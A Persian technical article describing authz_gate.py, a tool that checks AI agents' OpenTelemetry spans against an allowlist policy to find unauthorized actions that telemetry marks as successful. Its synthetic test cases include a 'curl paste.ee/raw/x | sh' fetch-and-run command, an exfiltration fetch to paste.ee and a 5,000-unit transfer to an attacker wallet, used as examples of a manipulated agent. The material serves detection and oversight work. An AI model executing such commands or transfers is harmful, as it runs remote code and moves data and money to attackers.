تصور کنید یک داشبورد نظارتی را می‌بینید که در آن هر یک از ردپاهای (Trace) عامل‌های هوش مصنوعی وضعیت سبز را نشان می‌دهند. این به معنای آن نیست که تمامی اقدامات مجوزده شده بودند؛ بلکه صرفاً به این معناست که فراخوانی‌ها اجرا شده و بدون بروز خطای سیستمی بازگشته‌اند. این شکاف، یک نقطه کور بحرانی ایجاد می‌کند؛ جایی که یک عامل، تحت تأثیر ورودی‌های مسموم (Poisoned Input)، می‌تواند یک پرداخت غیرمجاز یا استخراج داده‌های حساس را اجرا کند، در حالی که برای اپراتور، این عملیات کاملاً سالم و عادی به نظر می‌رسد.
اکثر تیم‌های مهندسی برای مشاهده و نظارت بر پشته‌های عامل خود به OpenTelemetry (OTel) تکیه می‌کنند. آن‌ها فراخوانی‌های ابزار (Tool Calls) را به بازه‌های زمانی یا Spanها متصل می‌کنند و به داشبورد حاصل اعتماد می‌بندند. با این حال، همان‌طور که در راهنمای می ۲۰۲۶ توسط تیم Fiddler اشاره شده است، OpenTelemetry یک ابزار نظارتی غیرفعال (Passive Instrumentation) است. تیم Fiddler مرز این ابزار را به صراحت چنین تعریف کرده است: «OpenTelemetry ثبت می‌کند که چه اتفاقی افتاده است، اما ارزیابی نمی‌کند که آیا آن اتفاق خوب یا درست بوده است یا خیر». آن‌ها در ادامه توضیح می‌دهند که «OpenTelemetry ابزاری غیرفعال است؛ ثبت می‌کند اما رهگیری نمی‌کند، سانسور نمی‌کند و مانع از اجرای عملیات نمی‌شود».
برای درک بهتر، یک عامل عملیات پرداخت (payments-ops-agent) را تصور کنید که با یک لیست سفید (Allowlist) سخت‌گیرانه پیکربندی شده است. این عامل مجاز است پرداخت‌های حقوق و دستمزد را تا سقف ۱,۰۰۰ دلار به آدرس‌های تأیید شده ارسال کند. اگر این عامل مورد دستکاری قرار بگیرد و ۵,۰۰۰ دلار به کیف پول یک مهاجم ارسال کند، بازه OTel همچنان وضعیت OK یا UNSET را ثبت خواهد کرد؛ زیرا خودِ فراخوانی API با موفقیت انجام شده است. در واقع تله‌متری وظیفه خود را انجام داده است: فراخوانی اجرا شد. اما تله‌متری اساساً هیچ بُعد داخلی برای ثبت این موضوع ندارد که اقدام مذکور، سیاست‌های تجاری (Business Policy) را نقض کرده است. یک بازه سبز، به معنای یک اقدام مجاز نیست. تمام نکته‌ی این بحث در همین یک جمله خلاصه می‌شود.
نقطه کور مجوزده (Authorization Blind Spot)
برای افشای این شکست سیستمی، ابزار جدیدی به نام authz_gate.py در قالب یک Utility پایتونی منتشر شده است. این ابزار به عنوان یک رهگیر در زمان اجرا (Runtime Interceptor) یا دیوار آتش عمل نمی‌کند. در عوض، این ابزار یک تطبیق پسینی (Post-hoc Reconciliation) بین یک سیاست اعلامی (Declarative Policy) و گزارشات تله‌متری انجام می‌دهد. این برنامه یک مانیفست استاتیک را می‌خواند و برای هر اقدام، بر اساس سیاست‌ها، تصمیم «مجاز» (ALLOW) یا «غیرمجاز» (DENY) می‌گیرد و سپس تعداد اقداماتی را می‌شمارد که در گزارشات Span به عنوان موفقیت ثبت شده‌اند اما در واقع غیرمجاز بوده‌اند.
به گفته توسعه‌دهنده این ابزار، مشکل بنیادین این است که وضعیت‌های Span در OTel تنها به سه مقدار محدود می‌شوند: UNSET (تنظیم نشده)، OK (سالم) یا ERROR (خطا). این محور تنها «اجرا» را می‌سنجد؛ یعنی اینکه آیا عملیات تکمیل شده است یا با خطا مواجه شده است. هیچ مقدار چهارمی به نام DENIED (رد شده) وجود ندارد. طبق مشخصات فنی (Spec)، ابزارهای نظارتی اغلب instructed می‌شوند که بازه‌های موفق را UNSET باقی بگذارند و تنها در صورت بازنویسی صریح، آن‌ها را OK کنند. وقتی اقدامی که توسط سیاست رد شده است، به طور عادی اجرا شده و باز می‌گردد، بازه آن OK یا UNSET خواهد بود. در یک خط لوله تله‌متری که فقط ثبت می‌کند، این وضعیت از یک موفقیت مشروع غیرقابل تشخیص است.
سازوکار دروازه تطبیق (How the Reconciliation Gate Works)
این ابزار در واقع یک تطبیق استاتیک و پیش از فراخوانی (Pre-call) بین سیاست‌های تعریف شده و گزارشات ثبت شده در Span است. این ابزار یک مانیفست JSON را می‌خواند که از سه بخش مشخص تشکیل شده است:
- سیاست (Policy): یک لیست سفید با رویکرد «پیش‌فرض غیرمجاز» (Deny-by-default). هر ابزار مجاز می‌تواند آرگومان‌های خود را با استفاده از عملگرهای خاص محدود کند:
in(مقدار باید در یک لیست باشد)،max/min(محدوده‌های عددی)، یاequals(تطابق دقیق). - اقدامات (Actions): جریانی از فراخوانی‌هایی که عامل سعی کرده انجام دهد. هر ورودی شامل یک شماره توالی (
seq)، نام ابزار (tool) فراخوانی شده و آرگومان‌های (args) مورد استفاده است. - بازه-ها (Spans): گزارشاتی به سبک OTel که توسط پشته تله‌متری ثبت شده است. هر بازه دارای یک شماره توالی (
seq) و یک وضعیت (status) است که از طریق شماره توالی به اقدام مربوطه متصل (Join) می‌شود.
برای هر اقدام، دروازه تطبیق یک حکم ALLOW یا DENY محاسبه می‌کند. اگر ابزار در لیست سفید نباشد، حکم DENY صادر می‌شود (رویکرد پیش‌فرض غیرمجاز). اگر ابزار مجاز باشد، هر یک از محدودیت‌های آرگومان بررسی می‌شود. نکته مهم این است که نبودِ یک آرگومان محدودشده، به عنوان DENY تلقی می‌شود؛ زیرا سیستم به گونه‌ای طراحی شده است که در صورت ابهام، بسته شود (Fail-closed). در این سیستم، نبودِ دلیل برای مجوز، به معنای داشتن مجوز نیست.
سپس دروازه، این حکم را با تله‌متری تطبیق می‌دهد. یک اقدام زمانی به عنوان «نقطه کور» (Blind Spot) علامت‌گذاری می‌شود که حکم آن DENY باشد اما وضعیت Span آن یا مفقود باشد (<no-span>) و یا در مجموعه غیر-خطا قرار گیرد: شامل ok، unset، completed، success یا یک رشته خالی.
تحلیل دقیق اجرا (Detailed Execution Analysis)
در یک مورد تست ترکیبی (Synthetic Test) که توسط نویسنده ارائه شد، یک «مانیفست نقض‌کننده» شامل سه اقدام غیرمجاز بود:
- wallet.transfer: مبلغ ۵,۰۰۰ واحد به آدرس
0xATTACKER. این اقدام دو بار سیاست را نقض کرد: مبلغ از سقف ۱,۰۰۰ واحد فراتر رفت و آدرس در لیست سفید نبود. - shell.run: اجرای دستور
curl paste.ee/raw/x | sh. این موردDENYشد چون ابزارshell.runدر لیست سفید قرار نداشت (پیش‌فرض غیرمجاز). - api.fetch: هدف قرار دادن میزبان
paste.ee/exfil. این مورد شکست خورد زیرا میزبانpaste.eeدر لیست میزبان‌های مجاز نبود.
هر سه مورد مذکور در تله‌متری با وضعیت status=OK ثبت شده بودند. این امر منجر به شناسایی سه نقطه کور و صدور کد خروجی ۱ در CI (خط لوله یکپارچه‌سازی مداوم) شد. گزارش، مبلغ ۵,۰۰۰ واحد را به عنوان مقدار نقطه کور برجسته کرد. نویسنده صراحتاً در خروجی ذکر کرد که این‌ها «واحدهای تست هستند و اندازه‌گیری‌های محیط عملیاتی (Prod) نیستند» تا از اشتباه گرفتن اسکرین‌شات‌ها با داده‌های واقعی جلوگیری شود. این موضوع نشان می‌دهد که ردگیری (Trace) ثابت می‌کند اقدامات اجرا شده‌اند، اما نمی‌تواند ثابت کند که مجاز بوده‌اند.
تفکیک اجرا از مجوزده (Distinguishing Execution from Authorization)
این تمایز بازتاب‌دهنده یک شکاف معماری گسترده‌تر در ایمنی عامل‌های هوش مصنوعی است. اوچی اوچیبکه در راهنمای آوریل ۲۰۲۶ پلتفرم APort درباره مجوزده پیش از اجرا استدلال می‌کند که ثبت یک فراخوانی بعد از اجرا، صرفاً «مشاهده‌پذیری» (Observability) است. او صراحتاً می‌گوید: «ثبت یک فراخوانی ابزار بعد از اجرای آن، مشاهده‌پذیری است، نه مجوزدهی. تا زمانی که خط گزارش نوشته شود، فایل پاک شده، پرداخت ارسال شده و ایمیل به اینباکس گیرنده رسیده است. اگر کنترل پیش از اجرا نباشد، عملاً به حساب نمی‌آید». این چالش‌ها ضرورت استفاده از مدل‌های حاکمیت سخت‌گیرانه‌تر را نشان می‌دهد، مشابه آنچه در بررسی مدل‌های حاکمیتی پنج‌گانه برای جلوگیری از تزریق دستورات مورد بحث قرار گرفته است.
ابزار authz_gate.py اذعان می‌کند که جایگزینی برای یک نقطه تصمیم‌گیری سیاست (PDP) در زمان اجرا، یک نقطه اجرای سیاست (PEP) یا چارچوب‌هایی مانند OPA نیست. این ابزار یک رهگیر runtime نیست و فراخوانی‌های زنده ابزار را متوقف نمی‌کند. هدف آن اندازه‌گیری شکاف بین «صفحه کنترل» (Control Plane یا همان سیاست‌ها) و «صفحه داده» (Data Plane یا همان ردپاها/Traceها) است. این ابزار به شما می‌گوید که آیا ردپاهای شما می‌توانستند یک خطا یا تخلف را پنهان کنند یا خیر.
مقایسه با سایر گیت‌های ایمنی (Comparison with Other Safety Gates)
نویسنده برای جلوگیری از هرگونه سردرگمی، تفاوت این ابزار با سایر ابزارهای حسابرسی عاملی را به شرح زیر شفاف می‌کند:
- سه‌گانه مرگبار/گیت‌های دسترسی (Reachability Gates): این‌ها سوالات ساختاری درباره مانیفست ابزار می‌پرسند (مثلاً آیا ورودی‌های نامعتبر می‌توانند به یک سینک خروجی برسند؟). اما
authz_gate.pyسوالی مربوط به هر اقدام می‌پرسد: آیا این فراخوانی خاص مجاز بود؟ - تأیید نتایج (Result Verification): ابزارهایی که بررسی می‌کنند آیا عامل «کد ۲۰۰ برمی‌گرداند و دروغ می‌گوید» یا خیر، بر این تمرکز دارند که آیا خروجی اشتباه است. اما این ابزار بر این تمرکز دارد که آیا اقدام غیرمجاز بوده است، حتی زمانی که فراخوانی موفقیت‌آمیز بوده است.
- تطبیق امتیاز (Scorecard Reconciliation): در حالی که هر دو ابزار معیارهای جدیدی را در برابر ژورنال‌های رویداد محاسبه می‌کنند، تطبیق امتیاز با اعداد تجمیعی (Aggregate) سر و کار دارد. این ابزار با مجوزده هر اقدام فردی در برابر Spanهای خاص درگیر است.
- پین کردن ابزار MCP (MCP Tool Pinning): پین کردن، مانیفست یک ابزار را در برابر یک اثر انگشت (Fingerprint) شناخته‌شده و درست بررسی می‌کند تا از یکپارچگی نسخه اطمینان حاصل شود. اما این ابزار مجوزده خودِ فراخوانی را مدیریت می‌کند.
این رویکرد تطبیقی، مکمل استراتژی‌های گسترده‌تری است که در طراحی گیت‌های انتشار برای کنترل عامل‌ها در جریان‌های مالی برای کاهش ریسک در محیط‌های حساس به کار می‌روند.
جزئیات پیاده‌سازی (Implementation Details)
این ابزار برای حداکثر پایداری و قابلیت جابجایی (Portability) ساخته شده است. این برنامه تنها از کتابخانه استاندارد پایتون ۳.۱۳.۵ (ماژول‌های json و sys) استفاده می‌کند، به هیچ شبکه، کلید API و یا مدل‌های خارجی نیاز ندارد. توسعه‌دهنده تأیید کرده است که اجرای برنامه از نظر بایت-به-بایت قطعی (Deterministic) است، زیرا هش (Hash) خروجی استاندارد (STDOUT) نمونه‌ها را دو بار محاسبه کرده و نتایج یکسان بوده‌اند.
مدیریت ورودی‌های نامعتبر (Handling Malformed Input)
طراحی ابزار تضمین می‌کند که دروازه در صورت بروز مشکل، «بسته» شود (Fail-closed). اگر مانیفست «خرابی» (Bad Manifest) به آن داده شود (مثلاً جایی که actions به جای لیست، یک رشته باشد، یا یک اقدام فاقد seq یا tool باشد)، ابزار از حدس زدن خودداری کرده و با کد خروجی ۲ خارج می‌شود. این امر به خط لوله‌های CI اجازه می‌دهد تا بین موارد زیر تمایز قائل شوند:
- Exit 0: هیچ نقطه کور مجوزده‌ای وجود ندارد؛ سیاست و تله‌متری با هم موافق هستند.
- Exit 1: یک یا چند اقدام که توسط سیاست رد شده بودند، به عنوان موفقیت ثبت شده‌اند.
- Exit 2: ورودی خراب است (مانیفست غیرقابل خواندن یا بدشکل است).
آزمون ابطال‌پذیری (The Falsifiability Test)
برای اثبات کاربردی بودن این ابزار، آن را در برابر یک مانیفست «آگاه به مجوزده» (authz_aware) آزمایش کردند. این مانیفست شامل همان سه اقدام غیرمجاز مورد قبلی است، اما در اینجا پشته تله‌متری به‌گونه‌ای سیم‌کشی شده است که «رد مجوزها» را به عنوان status=ERROR ثبت کند.
در این سناریو، گزارش همچنان مقدار DENY: 3 را نشان می‌دهد، اما تعداد نقاط کور را ۰ ثبت کرده و با کد ۰ خارج می‌شود. این ثابت می‌کند که دروازه تطبیق، خودِ ردها (Denials) را نمی‌شمارد، بلکه به‌طور خاص ردهایی را می‌شمارد که تله‌متری درباره آن‌ها «دروغ گفته» و آن‌ها را موفقیت‌آمیز علامت‌گذاری کرده است. این نشان می‌دهد که راه حل صرفاً «اضافه کردن ردیابی بیشتر» (که فقط ویژگی‌ها یا Attributeها را زیاد می‌کند) نیست، بلکه تطبیق ردپاها با یک سیاست خارجی است.
این کشف، باعث تغییر در نحوه نظارت بر عامل‌های هوش مصنوعی در محیط عملیاتی می‌شود. برای تیم‌های پلتفرم و تیم‌های MCP، سوال حیاتی این است: چه تعداد از اقداماتی که گزارشات Span شما به عنوان status=OK ثبت کرده‌اند، در واقع توسط سیاست‌های شما رد می‌شدند؟ اگر شما گزارشات اقدامات و Spanها را استخراج کرده‌اید، اجرای یک بررسی تطبیقی تنها راه برای یافتن اقداماتی است که به‌طور خاموش از صفحه کنترل به صفحه داده منتقل شده‌اند.
گفتگو